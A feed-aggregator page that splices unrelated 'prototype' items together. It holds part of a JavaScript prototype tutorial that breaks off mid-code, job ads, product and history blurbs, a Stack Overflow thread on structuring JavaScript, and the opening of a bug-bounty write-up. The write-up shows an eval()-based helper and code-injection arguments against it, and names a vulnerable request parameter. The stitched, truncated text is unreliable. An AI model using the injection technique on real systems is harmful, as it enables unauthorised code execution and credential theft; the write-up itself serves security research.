However, what you saw if you ran the code was this -

Key: name. Value: Leo
Key: energy. Value: 7
Key: eat. Value: function (amount) {
  console.log(`${this.name} is eating.`)
  this.energy += amount
}
Key: sleep. Value: function (length) {
  console.log(`${this.name} is sleeping.`)
  this.energy += length
}
Key: play. Value: function (length) {
  console.log(`${this.name} is playing.`)
  this.energy -= length
}

Why is that? Well a for in loop is going to loop over all of the enumerable properties on both the object itself as well as the prototype it delegates to. Because by default any property you add to the function's prototype is enumerable, we see not only name and energy, but we also see all the methods on the prototype - eat, sleep, and play. To fix this, we either need to specify that all of the prototype methods are non-enumerable or we need a way to only console.log if the property is on the leo object itself and not the prototype that leo delegates to on failed lookups. This is where hasOwnProperty can help us out.

hasOwnProperty is a property on every object that returns a boolean indicating whether the object has the specified property as its own property rather than on the prototype the object delegates to. That's exactly what we need. Now with this new knowledge we can modify our code to take advantage of hasOwnProperty inside of our for in loop.

...

const leo = new Animal('Leo', 7)

for(let key in leo) {
  if (leo.hasOwnProperty(key)) {
    console.log(`Key: ${key}. Value: ${leo[key]}`)
  }
}

And now what we see are only the properties that are on the leo object itself rather than on the prototype leo delegates to as well.

Key: name. Value: Leo
Key: energy. Value: 7

If you're still a tad confused about hasOwnProperty, here is some code that may clear it up.

function Animal (name, energy) {
  this.name = name
  this.energy = energy
}

Animal.prototype.eat = function (amount) {
  console.log(`${this.name} is eating.`)
  this.energy += amount
}

Animal.prototype.sleep = function (length) {
  console.log(`${this.name} is sleeping.`)
  this.energy += length
}

Animal.prototype.play = function (length) {
  console.log(`${this.name} is playing.`)
  this.energy -= length
}

const leo = new Animal('Leo', 7)

leo.hasOwnProperty('name') // true
leo.hasOwnProperty('energy') // true
leo.hasOwnProperty('eat') // false
leo.hasOwnProperty('sleep') // false
leo.hasOwnProperty('play') // false

Check if an object is an instance of a Class

Sometimes you want to know whether an object is an instance of a specific class. To do this, you can use the instanceof operator. The use case is pretty straight forward but the actual syntax is a bit weird if you've never seen it before. It works like this

object instanceof Class

The statement above will return true if object is an instance of Class and false if it isn't. Going back to our Animal example we'd have something like this.

function Animal (name, energy) {
  this.name = name
  this.energy = energy
}

function User () {}

const 
          Tropical Storm Nadine Information by ATCF XML Prototype      Cache   Translate Page      
Issued at Wed, 10 Oct 2018 02:37:51 GMT. This is only a prototype and the file format may change without notice.
          Guldstrand signed Exoto die-casts      Cache   Translate Page      
I have a pair of Exoto die-casts..... Grandsport 'prototype' signed by Dick Guldstrand. and the #10 Sunoco Grandsport signed......... He was a wonderful friend...... ( funny as hell)...... I would...
          Offer - buy Communications Equipment - ITALY      Cache   Translate Page      
Company Profile :OSBORN is the source for all your Precision Machining,Sheet metal ,Metal Manufacturing, and Tooling needs .OSBORN Solutions provides customers with efficient and high-level finished manufactured products, quality assurance at a peak service level, and expert project and customer management during the machining process. Our machinists and engineers work expertly to make your machining needs come to life , taking them off the paper and developing your items into a real metal product. Our work shop has an extensive list of equipment to fit our customer’s needs, with their complex abilities in fabrication. We continue to focus on our core competitiveness in the field of precision metal manufacturing , to support our clients take full advantages of their products , and occupying the more large market resources.At Osborn Technology , you have the freedom to focus on your core competencies, because we are always to improving the quality of your metal products, Meet the requirements of the end customers.Osborn Technology have world-class precision equipment , help us to make Authentically achieving set punching , forming , cutting , bending,stamping , turning , milling , drilling , welding and so on in processing methods of integration of multiple roles , to meet client demand for products from different angles . Our customer base makes us a diverse custom metal fabricator , their include companies ordering parts for military , aerospace , transportation , medical , electrical , hardware, machinery, electronics, digital, automobile,rail ,automation equipment and other industries.If you are looking for a precision sheet metal and CNC machining fabrication company that can produce precision products at the competitive price , please contact Osborn Technology , we are ready supply the helps at any time in your development path .History :2005. Osborn Pecsion Sheet Metal Manufacturing Co.,Ltd was founded in Shenzhen. As the company's founder--He brothers began enter the precision sheet metal processing industry ;2006-2009 . Osborn invested more than 3 million dollars to imported a series world's top-class sheet metal processing equipment from Europe and Japan;2010. Osborn wholly-owned takeover subsidiary and founded : Dongguan Osborn Precision Hardware Technology co.,ltd ,who one focus on high precision CNC machining ;2012. Osborn Technology Group Limited founded in Hongkong ,who is a company focus on the international business;2013-2015. Osborn formed to HongKong Osborne for the international sales center, and Shenzhen Osborn Precision Sheet Metal and Dongguan Osborn Precision Hardware Thnology for the processing center which one professional precision metal manufacturing group of the global ;2016. Osborn Group total sales is about USD5,750,000.00 (include Osborn Sheet Metal Technology Co.,Ltd and Dongguan Osborn Precision Hardware Technology Co,lted two companies ). 2017. Osborn Group was ready going more far !!! Workshop and Equipment :Shenzhen Osborn Precision Sheet Metal Manufacturing Co., LtdArea : 4500 M2 ; Workers : 86 ;Engineers : 9 ;Equipment quantity :Italian Prima CNC Laser Cutting Machine CP4000 ----- 1 set ;Bystronic CNC Laser Cutting Machine BJ3015 --------- 1 set ;Finland FinnPower CNC Punching Machine E5x --------1 set ;Finland FinnPower CNC Punching Machine E5 -------- 2 sets;Savannah CNC Bending Machine E-Brake ------------- 1 set ;Bystronic CNC Bending Machine AFM Xcel 50 --------- 1set ;Toyo CNC Bending Machine APB-3613 ----------------- 2sets ; Dongguan Osborn Precision Hardware Technology Co.,Ltd Area : 5600 M2Workers : 75 ;Engineers : 11 ;Equipment quantity :Huaqun CNC Machining Machine P650 ----- 15 sets ;Huaqun CNC Machining Machine P850--------- 5 sets ;Huaqun CNC Machining Machine P1050--------- 2 sets ;CNC Engraving and Milling Machine ------------- 10 sets ;CNC Specular Machine-----------------------------10 sets ; Quality and Services : Rich Experience : We have been engaged in sheet metal and CNC machining for 13 years. Our company had good reputation with customers from American, Europe,North America, and Japan,india etc. We also have a good team for sale and quality control.Good Services : We will respond to you within 24 hours, We provide the perfect pre-sale and after sale service.Competitive Price: You will find that our low priced, belt buckle including the shipping will be cheaper than our competitors total cost on same name brand, same quality parts.Perfect Quality : We have strict quality control from producing to delivery.Our company had strong technology support, 80% of our colleagues have more than 10 years experience in metal mufuturering . We have cultivated a group of managers who are familiar with product quality , good at modern concept of management.Quality control :1) We ensure that each piece of equipment we use is maintained and calibrated to it's original specifications.2) we use only the most modern equipment. We evaluate projects to ensure that they are within tolerance according to the process used to produce it.3) Each part will be wrapped in protective layer by our experienced packaging people and then put in oversized box to avoid any breakage.4) Our sales person will follow up with you after delivery to make certain that your parts meet your expectations . Certification :Quality Management Certification : ISO9001 : 2008Environmental Management Certification : ISO14001 : 2004Medical Device Quality Certification : ISO13485RoHs Certification 3C Certification ;CE Certification ; Our Customers :Main market : North America, Europe ,Middle East, Asia ,Africa;Main product : IPC sheet metal chassis , Communication cabinet ,Equipment cabinet , Multimedia chassis and Enclosure, Sheet metal parts , Mechanical parts, Automobile and Motorcycle accessories, Mobile phone accessories, Equipment accessories, Digital products accessories and so on ;Application areas : Industrial control, Automotive, Transportation, Power control, Telecommunications, Bank, Hospitals, Advertising information, Aerospace, Military, Industrial automation, Robots, Household appliances and so on ;OEM / ODM Services : Sheet metal processing , CNC machining, Molds , Prototype and so on . buy Communications Equipmentwebsite:http://www.goosborn.com/
          Sr. Principal Software Engineer - BAE Systems - Reston, VA      Cache   Translate Page      
We then help turn those research prototypes into differentiators for ES which has products fielded everywhere from the depths of the Earth’s oceans to Jupiter....
From BAE Systems - Tue, 17 Jul 2018 20:17:56 GMT - View all Reston, VA jobs
          FAST Labs - Software Engineer Section Lead - BAE Systems - Arlington, VA      Cache   Translate Page      
We then help turn those research prototypes into differentiators for ES which has products fielded everywhere from the depths of the Earth’s oceans to Jupiter....
From BAE Systems - Fri, 07 Sep 2018 02:08:48 GMT - View all Arlington, VA jobs
          UK Dyson winners hope portable turbine blows away competition      Cache   Translate Page      
UK winners of the James Dyson Award for inventors say their pint-sized prototype O-Wind turbine could be the answer for apartment-dwellers seeking to take advantage of green energy. Jim Drury reports.
          PE Bottle Factory To The Country Market      Cache   Translate Page      

 

PE Bottle(KEXON) as fragile products, transport costs are permanently not open around topics and bottle localization of the product sold is more significant.

Prototype of the glass...

          Two Rare Bexleys With 18K Stub Nibs      Cache   Translate Page      
For Sale

 
 
Posted Image
 
The M100's were prototypes Howard Levy made in 2002 but were never put into full production, and hence are rarely seen or offered for sale.  Here are two beauties for sale individually and perfectly ready for your collection and writing pleasure.
 
The pens both have #5 18K gold two tone Stub nibs and are cartridge converter filled.  Each pen measures about 5 inches long capped, 4 5/8 inches long uncapped, and 6 7/8inches long posted.  Each has been only very lightly used and is complete with its box.
 
Your choice at $250 each plus $10 shipping within US
 
Shipping outside US may be available at cost.  Please inquire.
 
Email:  whichwatch@roadrunner.com
 
 
Posted Image
 
Posted Image
 
Posted Image
 
Posted Image



$250.00
          Learning Experience Design, Learning Futures Group - Civil Service College - Singapore      Cache   Translate Page      
We work with internal and external partners to identify future learning trends and develop prototypes and pilots for potential application in CSC. Who We Are....
From Careers@Gov - Fri, 21 Sep 2018 05:52:48 GMT - View all Singapore jobs
          Mason Aspect, new titanium road bike, plus alternate ISO off-road adventure build      Cache   Translate Page      

Almost two weeks ago, Mason Cycles debuted their newest, most off-the-beaten-track adventure bike – the dynamo 29er-equipped ISO. Now that bike already has another, more off-road bikepacking build, including a prototype front rack. Plus the new titanium Aspect delivers all of the performance of their most popular steel Resolution endurance road bike, now with a […]

The post Mason Aspect, new titanium road bike, plus alternate ISO off-road adventure build appeared first on Bikerumor.


          Network Engineer      Cache   Translate Page      
TX-Houston, Title: Network Engineer Term: 5 months Contract Location: Houston, TX 77043 Oversee the development of future component architectures and migration plans. Conceive, design, prototype, and test new methods, algorithms, and models. Define and enforce appropriate technical standards and procedures. Job Requirements 2-4 years experience. Solar Winds, ASA Firewalls, and R & S skills required Cisco Prim
          Global General Purpose Test Equipment Market 2018 by Manufacturers, Regions, Type and Application, Forecast to 2023      Cache   Translate Page      
General purpose test equipment (GPTE) includes different testing and measuring (T&M) equipment such as oscilloscopes, spectrum analyzers, signal generators, power meters, logic analyzers, electronic counters, and multimeters. Industries such as the communications and aerospace and defense use GPTE for testing their design prototypes and finished products to check conformance with the required specifications. This is necessary to ascertain whether the devices are fulfilling their intended purposes. Scope of the Report: This report focuses on the General Purpose Te ...

Order / Buy a copy of this report @ http://www.rnrmarketresearch.com/contacts/purchase?rname=1741617

Complete report details with Table of Contents and more @ http://www.rnrmarketresearch.com/global-general-purpose-test-equipment-market-2018-by-manufacturers-regions-type-and-application-forecast-to-2023-market-report.html
          2 Models for Smart Growth      Cache   Translate Page      

LAS VEGAS -- Whether a convenience-store retailer’s growth involves mergers and acquisitions or an organic path, there are rules that govern its success in either model. Two retailers with very different growth strategies shared this key learning at an education session on expanding wisely at the 2018 NACS Show in Las Vegas.

Yesway typifies the modern M&A model. Its first acquisition was in December 2015. Since then, the West Des Moines, Iowa-based chain has grown to nearly 150 stores in several states, including Iowa, South Dakota, Nebraska, Missouri, Kansas, Texas and Oklahoma.

Driving that growth has been the financial resources of its parent company, Brookwood Financial Partners, Beverly, Mass. “If any of you are expanding your current footprint, look at partnering with a private-equity firm,” said Kolby Jones, regional director of acquisitions for Yesway. This type of partnership brings infrastructure and a source of money to a retailer looking to grow.

Yesway has been fairly disciplined in its acquisitions, targeting a 4 to 6 multiple on EBITDA, and buying sites mainly in rural and suburban markets. Jones acknowledged that this is challenging. For one, many sellers are not realistic about the multiples their stores could receive.

“There are two sellers we work with: the first doesn’t know what EBITDA is, and another wants really high multiples,” said Jones. His team conducts a lot of “seller education” to explain to sellers on the more realistic valuation for their sites.

Yesway could have bought more than 300 stores by this time if it did not stick to this 4- to- 6-multiple range, he said, but it would have been tough to stick to its value-added growth platform.

“The core of the company is a real estate company, so we’re looking at where we add value with the real-estate component,” he said. This includes upgrading signage outside the store, improving the merchandising and bringing Yesway’s economies of scale. “As we improve inside sales margins, knowing that we will be that size, being able to buy better, that’s a value add for us,” said Jones.

Yesway also invests in its stores, spending an average of $250,000 per store in capital expenditures. Much of that expense comes from adding new tech such as back-office and point-of-sale systems. It also develops the in-store offer; more recently, this has included adding private-label bottled water and soon salty snacks.

That said, Yesway is considering developing prototypes for a ground-up approach, “but for now, we’re sticking with M&A.”

Organic Growth

Tulsa, Okla.-based QuikTrip has a purely organic approach to growth, said Josh Tuck, corporate purchasing supervisor for the chain of nearly 800 stores. This is even as it enters new markets. That said, the chain has learned through trial and error what works and what doesn’t in establishing new markets through new builds.

For example, QuikTrip transfers 20 to 30 store teams to a new market to help establish its strong employee-centered culture. But the timing must be right. When QuikTrip moved into the Carolinas, it moved its people before all of the stores were completed. Now it aims to bring the store teams in closer to completion.

Also with this ground-up approach, QuikTrip has had to learn the right mix of contractors to build the stores. In the Carolinas, many of the contractors it hired weren’t familiar with the chain and its culture. “Now we use a mix of experienced and nonexperienced general contractors,” said Tuck. This includes in a couple of its more recent markets in San Antonio and Austin, Texas.

Also critical to the success of a ground-up approach to growth when entering new markets is to know the market and competition, Tuck said. For example, in Arizona, QuikTrip has to deal with different vapor recovery regulations for its fueling infrastructure. Dallas has wet and dry counties, which complicate the alcohol beverage assortment for a chain that likes to have the same exact offer in every store.

And sometimes there are regional tastes a retailer must adopt in its food offer. In the Carolinas, QuikTrip learned that coleslaw is a popular topping on almost everything from hot dogs to burgers. In Austin and San Antonio, locals were unfamiliar with QuikTrip’s breakfast burrito—and so the retailer had to swap it out with breakfast tacos.

Josh Tuck (left) of QuikTrip; Kolby Jones of Yesway; and Scott Minton of OnCue Express. Photograph by CSP Staff

Author(s): 
Samantha Oller

          IBM ThinkPad Power Series 850      Cache   Translate Page      

So I learned something new today. Back in the early and mid-90s, IBM tried to build a PC-like platform and ecosystem around its PowerPC processor. They called it the PowerPC Reference Platform, or PReP, and with it, you could build what were effectively PC clones with PowerPC processors, ready to run a number of operating systems, including AIX, Windows NT, OS/2, and Apple's failed Taligent project. None of this is news to me.

What is news to me, however, is that aside from a number of desktop PReP machines, IBM also developed and sold a number of PReP laptops under the ThinkPad brand.

Sometime in 1994, IBM started working on a prototype mobile system named Woodfield and designated as type 6020. Very little is known about this system; it was never officially announced or sold. On June 19, 1995, IBM announced the ThinkPad 850 and 820 (announcement letters 195-178 and 195-179, respectively) with a planned availability date of July 24, 1995. The ThinkPad 820 designation was type 6040, code name Wiltwick; the 850 was type 6042, code name Woodfield Prime. The ThinkPads 820/850 were to be available with no software or with preloaded Windows NT 3.51 or AIX 4.1.3. OS/2 was to come at some unspecified later date, and Solaris 2.5.1 support was announced in February 1996. The ThinkPad 850 type 6042 came with 16 or 32 MB RAM, 540 or 810 MB hard disk, and 640×480 or 800×600 TFT display.

Definitely an interesting bit of computing history, and I'd love to get my hands on a working model - they pop up on eBay from time to time.


          Test de conduite : T-Systems dévoile sa solution logicielle pour l’analyse des données      Cache   Translate Page      
T-Systems dévoile une nouvelle solution informatique capable d’évaluer, en un temps réduit, de très grands volumes de données générées par des prototypes de test de conduite. Le logiciel d’interprétation et d’analyse Big data signal processing signé T-Systems est 40 fois plus rapide que le...
          Dyson’s latest product is a $550 hair curler      Cache   Translate Page      

For people with stick-straight hair, the only hope for creating envious curls is heat–and lots of it. But any heat over 300 degrees Fahrenheit can cause permanent damage to your hair. It’s the latest engineering challenge getting a solution from Dyson, which has spent the last few years broadening the array of tech it designs.

The British engineering company’s new styling tool, the Dyson Airwrap, aims to combat this problem by using tightly controlled streams of air that never go above 300 degrees. Similar in form to Dyson’s Supersonic blow-dryer, the Airwrap uses a clever piece of physics called the Coanda Effect–the same phenomenon that creates aerodynamic lift in airplanes. In the Airwrap, high pressure air comes out through six tiny slots on a cylindrical barrel. The Coanda Effect causes the air to flow in a circular motion around the barrel, creating a mini vortex. When you place the device near a section of hair, the strands automatically wrap around it. The heat then causes the hair to curl.

[Images: Dyson]

According to Dyson, the effect is that it’s far easier to style your hair at home. Without the hot metal of a curling iron near your face, you can easily avoid burns, and because the device works best when your hair is 85% dry, styling goes a lot faster. The stylist and Dyson Ambassador Larry King estimates using the Airwrap could cut down on the time he spends styling individual clients in his salon in London by about 40%. But maybe more crucially, without heat damage.

The Airwrap comes with a whole set of attachments–along with the Coanda-enabled curlers, the kit also includes multiple kinds of brushes that blow your hair as you brush, aligning your individual strands to reduce frizz. There’s also a blow-dry attachment that looks like a hollowed-out oval, just like the Dyson Supersonic hair dryer, so you have everything you’d need to style in one kit.

The product has been under development for six years, with 642 prototypes made and $31.4 million spent on research and development. The Airwrap’s high price tag reflects that: Two smaller kits, with fewer attachments, each cost $499.99, and a complete kit costs $549.99.

The only thing it can’t do? Straighten super curly hair, like mine. For now, I’ll have to hope that the company is secretly working on a straightening iron that won’t ruin my hair. Get on it, Dyson.


          New BMW M3 Hits the Nurburgring      Cache   Translate Page      

BMW unveiled the next-generation 3 Series earlier this month. The automaker is keeping its full M variant under wraps, but our spy photographers managed to capture this prototype lapping the Nurburgring. When we last spotted the new M3, it wasn’t wearing its production headlights. That has since changed, because the new units look a lot closer...

The post New BMW M3 Hits the Nurburgring appeared first on Automobile Magazine.


          Focke Wulf Fw 189A-1      Cache   Translate Page      
Here are some images of HPH Models 1/32 scale Focke Wulf Fw 189A-1This aircraft served in Finland 1942 - 1943. From Wikipedia"The Focke-Wulf Fw 189 Uhu ("Eagle Owl") is a German twin-engine, twin-boom, three-seat tactical reconnaissance and army cooperation aircraft. It first flew in 1938 (Fw 189 V1), entered service in 1940 and was produced until mid-1944. In addition, Focke-Wulf used this airframe in response to a tender request by the RLM for a dedicated ground-attack airplane, and later submitted an armored version for trials. However, the Henschel Hs 129 was selected instead. In 1937, the German Ministry of Aviation issued a specification for a short-range, three-seat reconnaissance aircraft with a good allround view to support the German army in the field, replacing the Henschel Hs 126, which had just entered service. A power of about 850–900 hp (630–670 kW) was specified. The specification was issued to Arado and Focke-Wulf.[1] Arado's design, the Ar 198, which was initially the preferred option, was a relatively conventional single-engined high-wing monoplane with a glazed gondola under the fuselage. Focke-Wulf's chief designer Kurt Tank's design, the Fw 189, was a twin-boom design, powered by two Argus As 410 engines instead of with an expected single engine. As a "twin-boom" design like the earlier Dutch Fokker G.I from 1938, the Fw 189 used a central crew gondola for its crew accommodation, which for the Fw 189 would be designed with a heavily glazed and framed "stepless" cockpit forward section, which used no separate windscreen panels for the pilot (as with many German medium bombers from 1938 onwards). Blohm & Voss, however, proposed as a private venture something even more radical: chief designer Dr. Richard Vogt's unique asymmetric BV 141. Orders were placed for three prototypes, each of the Arado and Focke-Wulf designs, in April 1937.The Fw 189 was produced in large numbers, at the Focke-Wulf factory in Bremen, at the Bordeaux-Merignac aircraft factory (Avions Marcel Bloch's factory, which became Dassault Aviation after the war) in occupied France, then in the Aero Vodochody aircraft factory in Prague, occupied Czechoslovakia. Total production was 864 aircraft of all variants. Called the Fliegende Auge ("Flying Eye") of the German Army, the Fw 189 was used extensively on the Eastern Front with great success. It was nicknamed "Rama" ("frame" in the Russian, Ukrainian and Polish languages) by Soviet forces, referring to its distinctive tailboom and stabilizer shapes, giving it the characteristic quadrangular appearance. Despite its low speed and fragile looks, the Fw 189's manoeuvrability made it a difficult target for attacking Soviet fighters. When attacked, the Fw 189 was often able to out-turn attacking fighters by simply flying in a tight circle into which enemy fighters could not follow. One Fw 189 survives today. Its story starts on May 4, 1943 when Fw 189 V7+1H (Werk Nr. 2100), of 1./Nahaufklärungsgruppe 10, with V7 originally the Geschwaderkennung code for Heeres-Aufklärungsgruppe 32 based at Pontsalenjoki (due east of Kuusamo, and within the south-central area of modern Russia's Republic of Karelia) took off on a mission to photograph the Loukhi-3 airbase from an altitude of 6,000 m (20,000 ft), then to continue north along the Murmansk-Leningrad railway. Approximately 31 minutes after taking off, V7+1H was attacked by Lend-Lease-acquired Soviet Hawker Hurricane fighters. The aircraft dived to escape the fighters, but owing to damage already suffered, could not pull out in time, and it struck the treetops. The tail was torn off, and the crew nacelle left hanging upside down within the trees. The pilot, Lothar Mothes, survived but one crewman was killed in the crash and the third died from blood loss as a result of a severed leg. Incredibly, Mothes was able to survive two weeks in sub-zero temperatures, evading Soviet patrols while eating bark and grubs as he walked back to his base. Mothes spent the next nine months in a hospital recovering from severe frostbite before returning to the front line, eventually to fly another 100 missions. In 1991, the wreckage of V7+1H was found in the Russian forest where it had remained for 48 years. The aircraft was purchased by a group of British aircraft enthusiasts and was shipped to the UK, arriving in the town of Worthing, West Sussex in March 1992. The Focke Wulf 189 Restoration Society was formed to restore the aircraft to flying condition. Her former pilot, Lothar Mothes, met up again with his aircraft at the 1996 Biggin Hill Airshow. It was reported that this aircraft was acquired by Paul Allen’s Flying Heritage Collection. However, its current state is not publicly known. Remember submissions for post on this web site can be sent to wz2001@shaw.ca
          The corpse of Greed Monger shambles on      Cache   Translate Page      
This game has more lives than that Pathfinder MMO.

https://massivelyop.com/2018/10/09/greed-mongers-original-lead-programmer-now-says-hes-working-on-a-prototype-for-the-failed-kickstarter-mmo/#comments

          FPGA Developer - Facebook - Redmond, WA      Cache   Translate Page      
As a FPGA Developer at Facebook Reality Labs(FRL), you will design, build, and test prototype electrical systems for future consumer mixed reality experiences...
From Facebook - Fri, 27 Jul 2018 11:28:06 GMT - View all Redmond, WA jobs
          Better practices in large Html5 projects? (Mainly Javascript but some Html/Css)      Cache   Translate Page      

The main reason why I ask this question is because I hear about a lot of outdated JS techniques that are no good any more or just outdated. Seeing threads from '08 scares me after hearing all the negativity about older JS.

My main concerns are variables and files.

I want to create some kind of advanced calculator for a video game so I will have TONS of variables that need to be global. Since characters in the game have so many different 'stats', is it better to do something like this even if it means more writing, well just a prefix before everything:

stats.health = 50; stats.mana = 50; stats.whatever = 100; //or is this better: health = 50; mana = 50; whatever = 100;

Next question is about the files. I will have quite a few arrays with tons of data, lots of images loaded and lots of onTouch functions for the images. Do I create seperate JS files for each? First load all the data, then the images and then the functions and at the very bottom before the /html or /body tag add the listeners? I come from Lua, although I've known html + css from before, I'm just starting out in JS so any advices is greatly appreciated.

Another thing that I'm not sure of is, I've seen at least 3 methods of creating images, what's the difference between them?

For example:

for (var i = 0; i < imageSrc.length; i++) { image[i] = new Image(); image[i].src = "images/" + imageSrc[i] + ".png"; end

also:

document.createElement("img");

That's using javascript to create images while the user is using the page.

Is there a better way to create images that will exist right from the beginning? For example creating this within a div:

<img id="bgMain" src="images/background.png" style="position:absolute; top:0px; left:0px;" />

My last question is: http://jsperf.com/cached-vs-getelementbyid/5

The performance for cache is obviously way better, but I don't understand what obj.elems.el is at all or if I look into it. Does anyone have a link to proper explaining on how to cache variables?

Also any extra info and tips on better coding practices is greatly appreciated. Thanks so much for reading and thanks in advance for any help!

Problem courtesy of: Hate Names

Solution I will have TONS of variables that need to be global

Why do they need to be global? Seeing by your data, you are doing some character stats calculator. I suggest you learn OOP in JavaScript and build your character models based on objects. That way, they are "instances of characters" and not globals. I would looks something like:

//build a character var character = new Character('XXXfoozballXXX'); character.health = 100; character.mana = 100; character.simulateHit(); character.setStats({ str:120, agi:120, luk:90, ... }); //The data never lives in the global. They are in the instances of objects. //You can discard them and build new ones without worry of globals or resetting I will have quite a few arrays with tons of data, lots of images loaded and lots of onTouch functions for the images. Do I create seperate JS files for each?

You need some dependency handling framework, and structure. I suggest you learn RequireJS and Backbone for starters. There are other frameworks out there, they just happen to be what I use at the moment.

RequireJS will require you to split the files for modularity and reusability, but will compile them with their optimizer into one file. Backbone provides a way for you to split your data, your UI and your logic into objects as well, making it important you learn OOP first.

Another thing that I'm not sure of is, I've seen at least 3 methods of creating images, what's the difference between them?

There are a lot of ways of doing it:

.innerHTML()

I prefer the second method, since it's OOP-like which will be much easier to handle with other OOP-like code.

The performance for cache is obviously way better, but I don't understand what obj.elems.el is at all or if I look into it. Does anyone have a link to proper explaining on how to cache variables?

What the cached method did was to get the element from the DOM only once as well as reducing the entire test into assignments rather than binding, fetching etc. JavaScript and the DOM are "separate worlds", so to speak. Crossing code from one "land" to the other entails overhead.

To avoid that overhead, you limit the "crossings". Since you already fetched the element once, and have reference of it now, you need not fetch it again. Instead, reuse already existing references.

Solution courtesy of: Joseph

Discussion

The biggest arguments against previous JS exploits have been tons of global variables and the increased potential for collisions... the simplest way around this has historically been namespacing...

//"this" is the global namespace, window in a browser. this.project = this.project || {}; //establish project namespace project.section = project.section || {}; // project.section project.section.somevar = 0; project.section.someMethod = function(){ ... };

This has it's ups and down sides, the upside is you get structure, and can avoid collisions... the down side is that this practice takes a lot of discipline to minimize leaky abstractions. Also, the cost of tree searching for project.section.subsection.area.method has a bit of a lookup cost.

You can reduce leaky abstractions (accidental variable leaks) by wrapping your code files in Immediately Invoked Function Expressions (IIFE)

(function(){ this.project = this.project || {}; // }());

Even then, there is still a lot of work involved in maintaining such a codebase. More recently there has been a growth in module patters for JavaScript. You will probably want to think in terms of modules, and working with those modules and objects/classes they expose. Currently there are two popular patterns for this, which are Asynchronous Module Design (AMD) and CommonJS (CJS) there are also many different tools for building your modules into scripts that can be used client side.

You will most likely want to use RequireJS (AMD), and look into Bower (JS Package Manager), Grunt and Yeoman .

There are quite a few tutorials available for this, and you may want to look into a toolkit like FrozenJS , at least for structure examples.

Following is an example of how you might structure a module for your system... said module would be for a given Character on the field that inherits from field module's Entity... You would expose a constructor 'Character' that has a bind(field) method, and a render() method... to handle its' own state. You could think of this as a character controller or ViewModel (in MVC/MVVM terms).

//character.js AMD Module define(['jQuery','./field'],function($,fieldModule){ //module return { 'Character':CharacterObject ... }; function CharacterObject() { ... constructor internals ... } //inherit from field.Entity CharacterObject.prototype = new fieldModule.Entity(); //prototype methods CharacterObject.prototype.bind = function(fieldInstance) { ... bind the CharacterObject instance to the field ... } CharacterObject.prototype.render = function() { ... render UI update(s) ... //assuming an event loop for UI processing } ... });

Beyond all of this, you may want to even consider coffee-script which reduces the chance of certain behavioral issues even farther, at the cost of a middle-man language/compilation step that you may not find worthwhile.

Discussion courtesy of: Tracker1

There is really no good argument for having many global variables. Make a single global container, and stick everything inside of it.

window.globalContainer = {}; globalContainer.var1 = 1; globalContainer.var2 = 2; //etc

More than likely you will realize that it is possible to not even use a globalContainer as you can have everything run in a scoped environment where entry is dictated by events.

Every file which houses .js must be fetched. The fetching is slow, so you should just try to do it once instead of multiple times. Combine all the script you can into one file instead of having them all over the place. That being said, you should only do that for production - when developing you should do what is most readable. Keep in mind that your production and development javascript should always be different. One which is easy to read and logically separated, and one which is easy to transfer, and minified.

The route you take to load an image does not really matter. createImage or new Image() will both have the same results. The important thing to remember is that the actual image is not fetched until .src has been assigned. When that happens, the image is loaded. Once a browser sees a resource it caches it. So that is how the preloading magic happens. Rendering is a whole other beast. Even if you have cached an image it may take some time to render, especially if there are many of them set to render at once and they are large images.

Discussion courtesy of: Travis J

This recipe can be found in it's original form on Stack Over Flow .


          AWS takeover through SSRF in JavaScript      Cache   Translate Page      

Here is the story of a bug I found in a private bug bounty program on Hackerone . It toke me exactly 12h30 -no break- to find it, exploit and report. I was able to dump the AWS credentials, this lead me to fully compromise the account of the company: 20 buckets and 80 EC2 instances (Amazon Elastic Compute Cloud) in my hands. Besides the fact that it’s one of my best bug in my hunter career, I also learnt alot during this sprint, so let’s share!

Intro

As I said, the program is private so the company, let’s call it: ArticMonkey.

For the purpose of their activity -and their web application- ArticMonkey has developed a custom macro language, let’s call it: Banan++. I don’t know what language was initially used for the creation of Banan++ but from the webapp you can get a javascript version, let’s dig in!

The original banan++.js file was minified, but still huge, 2.1M compressed, 2.5M beautified, 56441 lines and 2546981 characters, enjoy. No need to say that I didn’t read the whole sh… By searching some keywords very specific to Banan++, I located the first function in line 3348. About 135 functions were available at that time. This was my playground.

Spot the issue

I started to read the code by the top but most of the functions were about date manipulation or mathematical operations, nothing really insteresting or dangerous. After a while, I finally found one called Union() that looked promising, below the code:

helper.prototype.Union = function() { for (var _len22 = arguments.length, args = Array(_len22), _key22 = 0; _key22 < _len22; _key22++) args[_key22] = arguments[_key22]; var value = args.shift(), symbol = args.shift(), results = args.filter(function(arg) { try { return eval(value + symbol + arg) } catch (e) { return !1 } }); return !!results.length }

Did you notice that? Did you notice that kinky eval() ? Looks sooooooooooo interesting! I copied the code on a local HTML file in order to perform more tests.

Basically the function can take from 0 to infinite arguments but start to be useful at 3. The eval() is used to compare the first argument to the third one with the help of the second, then the fourth is tested, the fifth etc… Normal usage should be something like Union(1,'<',3); and the returned value true if at least one of these tests is true or false .

However there is absolutely no sanitization performed or test regarding the type and the value of the arguments. With the help of my favourite debugger -alert()- I understood that an exploit could be triggered in many different ways:

Union( 'alert()//', '2', '3' ); Union( '1', '2;alert();', '3' ); Union( '1', '2', '3;alert()' ); ... Find an injection point

Ok so I had a vulnerable function, which is always good, but what I needed was a input to inject some malicious code. I remembered that I already seen some POST parameters using Banan++ functions so I performed a quick search in my Burp Suite history. Got it:

POST /REDACTED HTTP/1.1 Host: api.REDACTED.com Connection: close Content-Length: 232 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (X11; linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3502.0 Safari/537.36 autochrome/red Content-Type: application/json;charset=UTF-8 Referer: https://app.REDACTED.com/REDACTED Accept-Encoding: gzip, deflate Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: auth=REDACTED {...REDACTED...,"operation":"( Year( CurrentDate() ) > 2017 )"}

Response:

HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 54 Connection: close X-Content-Type-Options: nosniff X-Xss-Protection: 1 Strict-Transport-Security: max-age=15768000; includeSubDomains ...REDACTED... [{"name":"REDACTED",...REDACTED...}]

The parameter operation seems to be a good option. Time for testing!

Perform the injection

Since I didn’t know anything about Banan++, I had to perform some tests in order to find out what kind of code I could inject or not. Sort of manual fuzzing.

